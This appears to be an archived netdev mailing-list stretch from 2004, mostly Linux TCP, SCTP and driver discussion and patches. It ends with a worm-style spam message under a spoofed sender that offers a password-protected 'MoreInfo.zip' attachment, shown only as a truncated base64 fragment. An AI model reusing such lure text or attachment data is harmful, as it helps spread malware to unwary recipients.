receive more data after shutdown(SHUT_RD). > > > > > >>30. > >>16:35:58.718673 http > par: . 8761:10221(1460) ack 501 win 6432 > >>==> Nooo, if the previous reset (R) reached http, it > >>==> should not be barfing more data at us. Going by > >>==> the ack from the client above, this was sent first. > >> > >>31. > >>16:35:58.718692 par > http: R 501:501(0) ack 10221 win 0 > >>==> reset, continued window of 0, implies no socket > >>==> remaining here (?). > >> > >>32. > >>16:35:58.720054 http > par: . 11681:13141(1460) ack 501 win 6432 > >> > >>33. > >>16:35:58.720074 par > http: R 501:501(0) ack 13141 win 0 > >> > >>==> A more likely sequence of events is: > >>==> packet #30, #28, #32 are sent by the http server, and > >>==> packets #31, #29, #33 are sent in response when they > >>==> reach the client. > >> > >> > > > > - > > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > > the body of a message to majordomo@vger.kernel.org > > More majordomo info at http://vger.kernel.org/majordomo-info.html > > Please read the FAQ at http://www.tux.org/lkml/ > > > > From mikulas@artax.karlin.mff.cuni.cz Tue May 4 10:02:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 10:02:35 -0700 (PDT) Received: from artax.karlin.mff.cuni.cz (postfix@artax.karlin.mff.cuni.cz [195.113.31.125]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44H2KKO012859 for ; Tue, 4 May 2004 10:02:20 -0700 Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421) id 8C06E4174; Tue, 4 May 2004 18:28:33 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 8B865416F; Tue, 4 May 2004 18:28:33 +0200 (CEST) Date: Tue, 4 May 2004 18:28:33 +0200 (CEST) From: Mikulas Patocka To: Praveen Kumar Amritaluru Cc: netdev@oss.sgi.com Subject: Re: TCP hangs --- zero window probes In-Reply-To: <200405041525.UAA21109@shilpa.india.hp.com> Message-ID: References: <200405041525.UAA21109@shilpa.india.hp.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5021 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mikulas@artax.karlin.mff.cuni.cz Precedence: bulk X-list: netdev > Hi, > > I raised a similar issue sometime back on this mailing list. It > is basically non-conformance of RFC. > > Its not that Linux is sending ACK only packets rather it is > sending an unacceptable ACK segment forcing the receiver to send > an ACK. Use Ethereal to view the ACK segments since that will > show the sequence no. as well. > > I feel that it is a bug, but others may not feel the same way. > > The clarification/justification I heard in this mailing-list was > that "this implementation is more interoperable with other > implementations" compared to "sending zero window probes" as > defined in RFC793/RFC1122. > > > Regards, > > Praveen Yes. I fixed the client so that it sends ACKs if it receives ACK with non-matching seq number. Mikulas From pavel@atrey.karlin.mff.cuni.cz Tue May 4 13:14:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 13:14:23 -0700 (PDT) Received: from atrey.karlin.mff.cuni.cz (postfix@atrey.karlin.mff.cuni.cz [195.113.31.123]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44KE9KO022235 for ; Tue, 4 May 2004 13:14:10 -0700 Received: by atrey.karlin.mff.cuni.cz (Postfix, from userid 512) id 69E5F4C0375; Tue, 4 May 2004 21:32:59 +0200 (CEST) Date: Tue, 4 May 2004 16:11:28 +0200 From: Pavel Machek To: Carl-Daniel Hailfinger Cc: Linux Kernel Mailing List , Netdev , Jeff Garzik Subject: Re: [PATCH] tulip driver deadlocks on device removal Message-ID: <20040504141127.GH1188@openzaurus.ucw.cz> References: <4096BBC8.60509@gmx.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4096BBC8.60509@gmx.net> User-Agent: Mutt/1.3.27i X-archive-position: 5023 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pavel@suse.cz Precedence: bulk X-list: netdev Hi! > If I remove the card, my machine freezes instantly. This is due to a > stupid dev->poll function of the tulip driver. > > drivers/net/tulip/interrupt.c:tulip_poll() gets stuck in an endless loop > in interrupt context if the hardware returns 0xffffffff on certain reads. > But this is exactly what happens if you remove a pci device. > > My patch replaces the deadlock with something resembling a livelock. At > least SysRq-S works now because we leave the poll function after some time. Could you explicitely check for read returning 0xffffffff? Pavel -- 64 bytes from 195.113.31.123: icmp_seq=28 ttl=51 time=448769.1 ms From mcgrof@studorgs.rutgers.edu Tue May 4 13:41:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 13:41:45 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44KfeKO023423 for ; Tue, 4 May 2004 13:41:40 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 4A16DF9D4B; Tue, 4 May 2004 16:41:39 -0400 (EDT) Date: Tue, 4 May 2004 16:41:39 -0400 To: Jeff Garzik Cc: Margit Schubert-While , Margit Schubert-While , Netdev Subject: Re: Prism54 2.6 kernel update Message-ID: <20040504204139.GC18081@ruslug.rutgers.edu> References: <5.0.2.1.2.20040429111349.00afb9c0@192.168.6.2> <4097DCC8.5070301@pobox.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="1SQmhf2mF2YjsYvc" Content-Disposition: inline In-Reply-To: <4097DCC8.5070301@pobox.com> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5024 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --1SQmhf2mF2YjsYvc Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, May 04, 2004 at 02:11:20PM -0400, Jeff Garzik wrote: > Margit Schubert-While wrote: > >2004-04-26 Margit Schubert-While > > > > * islpci_mgt.h : Replace init_wds with a define. > > The compiler does not optimize it out (and also generates the > > field in the ro section of every module) > > > > * prismcompat(24).h : Include linux/compiler.h > > Now we can play with the likely/unlikely macros > > > > * islpci_eth.c, islpci_dev.c : Align skb->data unconditonally > > after allocation. This would appear to improve RX rate. > > Do a little bit of likely/unlikely. >=20 >=20 > You are violating a standard Linux development rule -- >=20 > You MUST send multiple patches, one change per patch. >=20 > "One big patch" is only acceptable the first time, when the driver is=20 > initially merged. Jeff,=20 we'll work on sending separate patches. Luckily I tagged things on our cvs repository since the 2.6 merge <-> our tree matchup so this shouldn't be that bad. If I don't get to it, Margit will.=20 Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --1SQmhf2mF2YjsYvc Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAmAADat1JN+IKUl4RAhYkAJ9m25h3iqGBZ1JiW0O7JdpGNHa8ygCeOG17 gwPlpHXTJmK3lJfR+D6U4EY= =utG8 -----END PGP SIGNATURE----- --1SQmhf2mF2YjsYvc-- From mikulas@artax.karlin.mff.cuni.cz Tue May 4 15:02:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 15:02:39 -0700 (PDT) Received: from artax.karlin.mff.cuni.cz (postfix@artax.karlin.mff.cuni.cz [195.113.31.125]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i44M2JKO024756 for ; Tue, 4 May 2004 15:02:20 -0700 Received: by artax.karlin.mff.cuni.cz (Postfix, from userid 17421) id 6F6304181; Tue, 4 May 2004 23:20:05 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by artax.karlin.mff.cuni.cz (Postfix) with ESMTP id 6ED164180; Tue, 4 May 2004 23:20:05 +0200 (CEST) Date: Tue, 4 May 2004 23:20:05 +0200 (CEST) From: Mikulas Patocka To: Nivedita Singhvi Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: TCP hangs In-Reply-To: <4097C966.5080509@us.ibm.com> Message-ID: References: <409583B1.5040906@us.ibm.com> <4097B8D1.4010008@us.ibm.com> <4097C966.5080509@us.ibm.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5025 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mikulas@artax.karlin.mff.cuni.cz Precedence: bulk X-list: netdev On Tue, 4 May 2004, Nivedita Singhvi wrote: > Mikulas Patocka wrote: > > >TCP should send RST on received data after shutdown(SHUT_RD) --- > >RFC2525, sections 2.16, 2.17. > > > > > > Yes, but that should lead to a shutdown on both ends. If you > have sent a reset, why are you not tearing down your end of > whatever remains of the connection? You have asked the > other side to tear down. RFC 793: > > "The receiver of a RST first validates it, then changes > state. If the receiver was in the LISTEN state, it ignores it. > If the receiver was in SYN-RECEIVED state and had previously > been in the LISTEN state, then the receiver returns to the > LISTEN state, otherwise the receiver aborts the connection > and goes to the CLOSED state. If the receiver was in any > other state, it aborts the connection and advises the user > and goes to the CLOSED state." Good point. Now I see that in client's code, that it doesn't kill the connection after sending reset. However if it did, the trace would look exactly the same, because when client receives packet for port without connection, it would reply with RST anyway. Mikulas From dbmail@vmail.unina.it Tue May 4 22:18:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 04 May 2004 22:18:11 -0700 (PDT) Received: from vmail.unina.it (vmail.unina.it [192.132.34.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i455I7KO010183 for ; Tue, 4 May 2004 22:18:07 -0700 Received: by vmail.unina.it (Postfix, from userid 202) id B6CB41031E; Wed, 5 May 2004 07:17:18 +0200 (CEST) From: dbmail-bounce@dbmail.org To: netdev@oss.sgi.com Subject: DBMAIL: delivery failure Message-Id: <20040505051718.B6CB41031E@vmail.unina.it> Date: Wed, 5 May 2004 07:17:18 +0200 (CEST) X-archive-position: 5026 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dbmail-bounce@dbmail.org Precedence: bulk X-list: netdev This is the DBMAIL-SMTP program. I'm sorry to inform you that your message, addressed to hostmaster@it.freebsd.org, could not be delivered due to the following error. *** E-mail address hostmaster@it.freebsd.org is not known here. *** If you think this message is incorrect please contact dbmail@dbmail.org. Header of your message follows... --- header of your message --- Received: from it.freebsd.org (pD9E7C9FC.dip0.t-ipconnect.de [217.231.201.252]) by vmail.unina.it (Postfix) with ESMTP id 550241028F for ; Wed, 5 May 2004 07:17:13 +0200 (CEST) From: netdev@oss.sgi.com To: hostmaster@it.freebsd.org Subject: Re: Status Date: Wed, 5 May 2004 07:18:02 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <20040505051713.550241028F@vmail.unina.it> --- end of header --- From ronnie_sahlberg@ozemail.com.au Wed May 5 00:46:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 05 May 2004 00:46:58 -0700 (PDT) Received: from smta10.mail.ozemail.net (smta10.mail.ozemail.net [203.103.165.140]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i457kqKO016787 for ; Wed, 5 May 2004 00:46:53 -0700 Received: from C5043436 ([203.102.163.176]) by smta10.mail.ozemail.net with SMTP id <20040505074650.PFXB11523.smta10.mail.ozemail.net@C5043436> for ; Wed, 5 May 2004 07:46:50 +0000 Message-ID: <054401c43275$70738d80$6501010a@C5043436> From: "Ronnie Sahlberg" To: Subject: Re: TCP hangs --- zero window probes Date: Wed, 5 May 2004 17:49:04 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1158 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-archive-position: 5027 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ronnie_sahlberg@ozemail.com.au Precedence: bulk X-list: netdev Are you sure they are zero window probes and not normal keep-alives? A zero window probe contains one byte of payload just beyong the right edge of the window, thats why they are called zero window probes : send one extra byte of data even though the window is zero to opportunistically probe if the window has opened again. zero window probes also usually run on a normal constant timer and usually do not contain any exponential backoff. a tcp keepalive on the other hand usually transmit an "invalid" segment containing zer or 1 byte of payload just one byte prior to the left edge of the window. These usually have an exponential backoff in the same way as normal data segments have. These segments have deliberately an sequence number outside of the expected window so that they will trigger an immediate ACK to be sent back from the other side. An implementation that can not send an immediate ACK back to a keep-alive is completely broken. From sri@us.ibm.com Wed May 5 10:52:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 05 May 2004 10:52:41 -0700 (PDT) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i45HqVKO001113 for ; Wed, 5 May 2004 10:52:38 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i45HqHiJ460652; Wed, 5 May 2004 13:52:17 -0400 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i45HqbdT108376; Wed, 5 May 2004 13:52:38 -0400 Date: Wed, 5 May 2004 10:52:15 -0700 (PDT) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: [BK PATCH] SCTP bug fixes. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5028 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Dave, Could you do a bk pull http://linux-lksctp.bkbits.net/lksctp-2.5.work & bk pull http://linux-lksctp.bkbits.net/lksctp-2.4.work to get the following couple of bug fixes to SCTP. Thanks Sridhar # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/05/05 10:15:28-07:00 sri@us.ibm.com # [SCTP] Fix accessing Gap Ack blocks array with a -ve index in # sctp_outq_sack() # # net/sctp/outqueue.c # # ChangeSet # 2004/05/03 23:02:10-07:00 sri@us.ibm.com # [SCTP] Fix memset() parameter ordering. # # net/sctp/ulpqueue.c # net/sctp/ulpevent.c # diff -Nru a/net/sctp/outqueue.c b/net/sctp/outqueue.c --- a/net/sctp/outqueue.c Wed May 5 10:32:31 2004 +++ b/net/sctp/outqueue.c Wed May 5 10:32:31 2004 @@ -1056,8 +1056,10 @@ } /* Get the highest TSN in the sack. */ - highest_tsn = sack_ctsn + - ntohs(frags[ntohs(sack->num_gap_ack_blocks) - 1].gab.end); + highest_tsn = sack_ctsn; + if (sack->num_gap_ack_blocks) + highest_tsn += + ntohs(frags[ntohs(sack->num_gap_ack_blocks) - 1].gab.end); if (TSN_lt(asoc->highest_sacked, highest_tsn)) { highest_new_tsn = highest_tsn; diff -Nru a/net/sctp/ulpevent.c b/net/sctp/ulpevent.c --- a/net/sctp/ulpevent.c Wed May 5 10:32:31 2004 +++ b/net/sctp/ulpevent.c Wed May 5 10:32:31 2004 @@ -77,7 +77,7 @@ /* Initialize an ULP event from an given skb. */ void sctp_ulpevent_init(struct sctp_ulpevent *event, int msg_flags) { - memset(event, sizeof(struct sctp_ulpevent), 0x00); + memset(event, 0, sizeof(struct sctp_ulpevent)); event->msg_flags = msg_flags; } diff -Nru a/net/sctp/ulpqueue.c b/net/sctp/ulpqueue.c --- a/net/sctp/ulpqueue.c Wed May 5 10:32:31 2004 +++ b/net/sctp/ulpqueue.c Wed May 5 10:32:31 2004 @@ -79,7 +79,7 @@ struct sctp_ulpq *sctp_ulpq_init(struct sctp_ulpq *ulpq, struct sctp_association *asoc) { - memset(ulpq, sizeof(struct sctp_ulpq), 0x00); + memset(ulpq, 0, sizeof(struct sctp_ulpq)); ulpq->asoc = asoc; skb_queue_head_init(&ulpq->reasm); From chengjin@cs.caltech.edu Wed May 5 14:53:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 05 May 2004 14:53:46 -0700 (PDT) Received: from swordfish.cs.caltech.edu (swordfish.cs.caltech.edu [131.215.44.124]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i45LriKO016229 for ; Wed, 5 May 2004 14:53:44 -0700 Received: from fast2.cs.caltech.edu (fast2.cs.caltech.edu [131.215.45.55]) by swordfish.cs.caltech.edu (Postfix) with ESMTP id 31327DF29C for ; Wed, 5 May 2004 14:53:44 -0700 (PDT) Received: by fast2.cs.caltech.edu (Postfix, from userid 20269) id 749541FF02; Wed, 5 May 2004 14:53:41 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by fast2.cs.caltech.edu (Postfix) with ESMTP id 9E0601435EF for ; Wed, 5 May 2004 14:53:41 -0700 (PDT) Date: Wed, 5 May 2004 14:53:41 -0700 (PDT) From: Cheng Jin To: netdev@oss.sgi.com Subject: Linux 2.4.22 loopback question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5029 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chengjin@cs.caltech.edu Precedence: bulk X-list: netdev Hi, I am running into a strange problem with timestamping packets on loopback connections. I calculate the RTT for each outgoing TCP packet by timestamping each skb after tcp_transmit_skb returns successfully, and timestamping the corresponding ack in tcp_ack (actually netif_rx timestamps incoming skbs so I use that whenever it is available). However, I have noticed that sometimes, the timestamp for an ack comes before the timestamp for the trasnmitted skb that is being acked. I have instrumented the code in net/core/dev.c, and it seems that indeed the corresponding ack would sometimes be generated by the receiver, received and timestamped by netif_rx before tcp_transmit_skb returns. I have a dual Xeon 2.66Ghz machine with Redhat 7.3 base install + 2.4.22 kernel (SMP enabled) from kernel.org. The network driver is e1000 without NAPI. Any ideas on why this happens? Many thanks, Cheng From shemminger@osdl.org Wed May 5 15:00:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 05 May 2004 15:00:15 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i45M0AKO016629 for ; Wed, 5 May 2004 15:00:10 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i45Lxn225469; Wed, 5 May 2004 14:59:49 -0700 Date: Wed, 5 May 2004 14:59:49 -0700 From: Stephen Hemminger To: Denis Vlasenko , "David S. Miller" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] eliminate large inline's in skbuff Message-Id: <20040505145949.05ea67a7@dell_ss3.pdx.osdl.net> In-Reply-To: <200405020037.47712.vda@port.imtp.ilyichevsk.odessa.ua> References: <200404212226.28350.vda@port.imtp.ilyichevsk.odessa.ua> <20040427142136.35b521d5@dell_ss3.pdx.osdl.net> <200405020037.47712.vda@port.imtp.ilyichevsk.odessa.ua> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.10claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5030 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev > On Wednesday 28 April 2004 00:21, Stephen Hemminger wrote: > > This takes the suggestion and makes all the locked skb_ stuff, not inline. > > It showed a 3% performance improvement when doing single TCP stream over 1G > > Ethernet between SMP machines. Test was average of 10 iterations of > > iperf for 30 seconds and SUT was 4 way Xeon. Http performance difference > > was not noticeable (less than the std. deviation of the test runs). The original tests were suspect for a whole lot of reasons. Running the proper tests shows no performance differences. The best theory as to why there was a difference in earlier tests is that memory debugging was enabled; that caused each buffer to be overwritten with a memset. When that happened, the test ends up measuring the speed of the memory and cache bandwidth, not the CPU or the network. From virus_alert@ovscan12.singnet.com.sg Wed May 5 20:49:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 05 May 2004 20:49:06 -0700 (PDT) Received: from ovscan12.singnet.com.sg (ovscan12.singnet.com.sg [165.21.101.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i463mxKO005408 for ; Wed, 5 May 2004 20:49:00 -0700 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by ovscan12.singnet.com.sg (8.12.11/8.12.11) with ESMTP id i463mvWn031547 for ; Thu, 6 May 2004 11:48:57 +0800 Date: Thu, 6 May 2004 11:48:57 +0800 Message-Id: <200405060348.i463mvWn031547@ovscan12.singnet.com.sg> From: AV Administrator To: X-Priority: 1 (highest) User-Agent: Symantec's SAVSE Qmail connector Subject: Virus Scan service detected a virus in a message you sent. X-Virus-Scanned: Symantec AntiVirus Scan Engine X-archive-position: 5031 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: virus_alert@singnet.com.sg Precedence: bulk X-list: netdev This is an automated message. Please do not reply. Email Virus Scan service has detected virus(es) in the email you sent to the recipient(s) below. You may wish to run a desktop Anti-Virus Software program to ensure that your workstation is free from Viruses prior to resending the original message and/or any further files via email. For more information on Anti-Virus Software program and/or computer viruses, please visit http://www.symantec.com.sg. Date: May 6 11:48:57 To: Subject: Mail Delivery (failure) An email message which you have sent was infected with: Attachment: i463mu3k031543: W32.Netsky.P@mm (deleted) Thank you, SingNet From ak@suse.de Wed May 5 23:40:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 05 May 2004 23:40:07 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i466e2KO009092 for ; Wed, 5 May 2004 23:40:03 -0700 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 450155565B1; Thu, 6 May 2004 08:35:48 +0200 (CEST) Date: Thu, 6 May 2004 08:35:47 +0200 From: Andi Kleen To: Cheng Jin Cc: netdev@oss.sgi.com Subject: Re: Linux 2.4.22 loopback question Message-ID: <20040506063547.GE8804@wotan.suse.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-archive-position: 5032 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev On Wed, May 05, 2004 at 02:53:41PM -0700, Cheng Jin wrote: > I have instrumented the code in net/core/dev.c, and it seems that indeed > the corresponding ack would sometimes be generated by the receiver, > received and timestamped by netif_rx before tcp_transmit_skb returns. Most likely because the network softirq runs in parallel in interrupt context and picks up all the already queued packets. e.g. this can be triggered when you receive a packet from ethernet. -Adni From S.Suhl@assenmacher.net Thu May 6 05:14:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 06 May 2004 05:14:56 -0700 (PDT) Received: from inter01.assenmacher.net ([217.110.59.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i46CEdKO032611 for ; Thu, 6 May 2004 05:14:40 -0700 Received: by inter01.assenmacher.net with Internet Mail Service (5.5.2657.72) id ; Thu, 6 May 2004 14:30:46 +0200 Message-ID: From: Sven Suhl To: "'netdev@oss.sgi.com'" Subject: Patch: drivers/net/3c59x.c Date: Thu, 6 May 2004 14:30:36 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 5033 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: S.Suhl@assenmacher.net Precedence: bulk X-list: netdev Hi anybody, got some problems with my laptop's ethernet device (it's a medion laptop based on an ati board, using a 3com etherlink3). It seems that medion is modyfing some parts of the used hardware. So here is what I got: Under w2k the eth-dev says it is an '3c902B-WMB-ENM Integrated Fast Ethernet'. To linux it introduces itself as 10b7:9202. Reading the eeprom out of it says it is in fact a 9201 chip. So I tried the settings from the 9201. With the following options in modules.conf (or modprobe.conf) this card will start to work correctly: alias eth0 3c59x options eth0 options=0x206 I have to force it to use mii and full-duplex - I think this depends on the used network. Without this option the card (or driver???) will only use 10baseT (as defined in eeprom) and won't detect correct bandwith... Maybe someone knows how to fix this problem and tells it to me so that I can test it out. Btw. Could somebody do me the favour to add the following lines to the 3c59x.c source in the kernel to make this card available to it? Currently I'm using kernel 2.6.5. Sorry that I do not know how to use patch and those diff utitilities...: // added to the end of 'enum vortex_chips' CH_902B_EMB_WNM, // added to the end of 'static struct vortex_chip_info' {"3c902B-EMB-WNM Integrated Fast Ethernet", PCI_USES_IO|PCI_USES_MASTER, IS_TORNADO|HAS_NWAY|HAS_HWCKSM, 128, }, // added to the end of 'vortex_pci_tbl' { 0x10B7, 0x9202, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CH_902B_EMB_WNM }, Thx and a nice day Sven Suhl From Eric.Chacron@alcatel.fr Thu May 6 05:53:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 06 May 2004 05:53:30 -0700 (PDT) Received: from smail.alcatel.fr (smail.alcatel.fr [62.23.212.165]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i46CrKKO007826 for ; Thu, 6 May 2004 05:53:21 -0700 Received: from frmail19.netfr.alcatel.fr (frmail19.netfr.alcatel.fr [155.132.251.19]) by smail.alcatel.fr (ALCANET/NETFR) with ESMTP id i46CrG0O021287; Thu, 6 May 2004 14:53:16 +0200 Subject: OSDL CGL 3.0 performance draft announcement Sensitivity: To: netdev@oss.sgi.com Cc: Peter Badovinatz From: Eric.Chacron@alcatel.fr Date: Thu, 6 May 2004 14:53:14 +0200 Message-ID: X-MIMETrack: Serialize by Router on FRMAIL19/FR/ALCATEL(Release 5.0.11 |July 24, 2002) at 05/06/2004 14:53:16 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Alcanet-MTA-scanned-and-authorized: yes X-archive-position: 5034 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Eric.Chacron@alcatel.fr Precedence: bulk X-list: netdev Hi, I would like to announce the availability of an early public draft of the OSDL Carrier Grade Linux v3.0 Performance specification, available at: http://www.osdl.org/docs/cgl_perf_req_def_30.pdf This draft includes requirements made from telecom industry perspective on Linux performances and scalability. Thanks in advance for your comments. -Eric Notes: -I acknowledge that the requirements in this draft are being implemented in a variety of ways and many of the requirements in this document exist in current implementations. I am contacting this mailing list because I believe your projects and expertise may address some of the requirements and we'd like to solicit feedback. -Again, this is an early draft document of the v3.0 performance requirements spec. Past OSDL Carrier Grade Linux technical documents have contained all requirements in a single document. For OSDL CGL v3.0 draft releases, we are releasing them as more granular sections, roughly split on functional boundaries. These boundaries are Standards, Availability, Clustering, Hardware, Performance (this document), Security, and Serviceability . -More information on Carrier Grade Linux and the Carrier Grade Linux Working Group can be found at: http://osdl.org/lab_activities/carrier_grade_linux/. -Feel free to direct any comments on the spec to me directly at eric.chacron@alcatel.fr or to cgl_discussion@osdl.org. From becker@scyld.com Thu May 6 07:12:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 06 May 2004 07:12:47 -0700 (PDT) Received: from may9 ([203.162.164.39]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i46ECIKP010442 for ; Thu, 6 May 2004 07:12:19 -0700 Date: Thu, 06 May 2004 07:12:05 -0800 To: netdev@oss.sgi.com Subject: :) From: becker@scyld.com Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------uovvjocmscwnpatwxxuy" X-archive-position: 5035 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev ----------uovvjocmscwnpatwxxuy Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit I don't bite, weah! password: 77845 ----------uovvjocmscwnpatwxxuy Content-Type: application/octet-stream; name="MoreInfo.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="MoreInfo.zip" UEsDBAoAAQAAAMAspjBmGfmVE40GAAeNBgAMAAAAcXJreWRlbGwuZXhleBiDRdxHjIa8RKOE bTrlqfOW/KjwFgH6jDfxB24Agm4WP/+awK7brrxSPeiNiuOZQIjT444rOurHfI9OSSyC4pGg 